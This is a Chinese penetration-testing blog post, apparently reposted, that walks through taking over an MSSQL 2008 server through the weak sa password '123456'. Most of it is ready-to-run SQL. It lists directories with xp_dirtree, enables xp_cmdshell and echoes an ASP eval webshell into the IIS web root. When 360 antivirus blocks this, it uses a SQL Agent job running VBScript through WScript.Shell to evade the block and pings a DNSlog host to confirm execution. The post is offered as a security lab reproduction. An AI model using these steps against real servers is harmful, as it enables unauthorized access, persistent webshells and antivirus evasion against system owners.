本文转载于公众号:融云攻防实验室,原文地址:
漏洞复现-MSSQL 2008弱口令利用
0x01 阅读须知
资源来源于网络,安全小天地只是再次进行分享,使用请遵循本站的免责申明
0x02 漏洞描述
mssql是指微软的SQLServer数据库服务器,它是一个数据库平台,提供数据库的从服务器到终端的完整的解决方案,其中数据库服务器部分,是一个数据库管理系统,用于建立、使用和维护数据库。当MSSQL数据库管理员账号对应密码的长度太短或者复杂度不够,仅包含数字,或仅包含字母等,攻击者可以利用弱口令直接登录系统,获取系统权限。
![图片[1]--MSSQL 2008弱口令利用-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/01/d2b5ca33bd193259.png)
0x03 漏洞复现
1.通过弱口令sa:123456进入数据库,查看数据库版本
select @@version
![图片[2]--MSSQL 2008弱口令利用-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/01/d2b5ca33bd193412.png)
2.查看路径,可以看到inetpub路径,那么就可以遍历目录推断出web路径C:\inetpub\wwwroot
execute master..xp_dirtree 'c:\',1,1 --
![图片[3]--MSSQL 2008弱口令利用-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/01/d2b5ca33bd193430.png)
3.通过xp_cmdshell,写入webshell成功,如下
-- 查询是否存在xp_cmdshell
select count(*) from master.dbo.sysobjects where xtype = 'x' AND name='xp_cmdshell'
-- 启用xp_cmdshell
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
-- 执行命令
EXEC master.dbo.xp_cmdshell 'echo ^<^%^@Page Language=^"^Jscript^"^%^>^<^%^eval(Request.Item^[^"cc^"^]^,^"unsafe^")^;^%^>>C:\inetpub\wwwroot\1.asp'--
# 注意!如果echo 里面的字符有引号和其他符号,那么我们就要在引号前面加一个 ^ 来转义它!记得用单引号包裹里面的一句话!
![图片[4]--MSSQL 2008弱口令利用-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/01/d2b5ca33bd193513.png)
4.由于会被360拦截,我们换一种方式
![图片[5]--MSSQL 2008弱口令利用-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/01/d2b5ca33bd193530.png)
5.使用AgentJob 360不会拦截,但是没有回显,我们使用vbscript方式执行ping命令pingDNSlog服务,DNSlog服务收到ping,如图:
(注:Express版本的SQL Server不支持Agent服务,开发版或者企业版才支持,而且利用AgentJob需要开启SQL Agent服务)
#注:vb_job16会有缓存,需批量替换修改成任意名字
USE msdb;
EXEC dbo.sp_add_job @job_name = N'vb_job16' ;
EXEC sp_add_jobstep
@job_name = N'vb_job16',
@step_name = N'vb_step',
@subsystem = N'ACTIVESCRIPTING',
@command=N'FUNCTION Main()
dim shell
set shell= CreateObject ("WScript.Shell")
shell.run("c:\windows\system32\cmd.exe /c ping xx.1eb20164ecd7fc421cxxxx8d5527667.xx.org")
set shell = nothing
END FUNCTION',
@database_name = "VBScript",
@retry_attempts = 1,
@retry_interval = 5;
EXEC dbo.sp_add_jobserver @job_name = N'vb_job16';
EXEC dbo.sp_start_job N'vb_job16';
![图片[6]--MSSQL 2008弱口令利用-渗透云记 - 专注于网络安全与技术分享](https://b.encenc.com/wp-content/uploads/2023/01/d2b5ca33bd193622.png)
© 版权声明
渗透云记的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
渗透云记拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经允许,禁止转载!
本文所提供的工具仅用于学习,禁止用于其他,请在24小时内删除工具文件!!!访问本博客请务必遵守有关互联网的相关法律、规定与规则。一旦您访问本博客,即表示您已经知晓并接受了此声明通告。详情见本站的“免责声明”如果有侵权之处请第一时间联系我们删除。敬请谅解!E-mail:admin@encenc.com
THE END















请登录后查看评论内容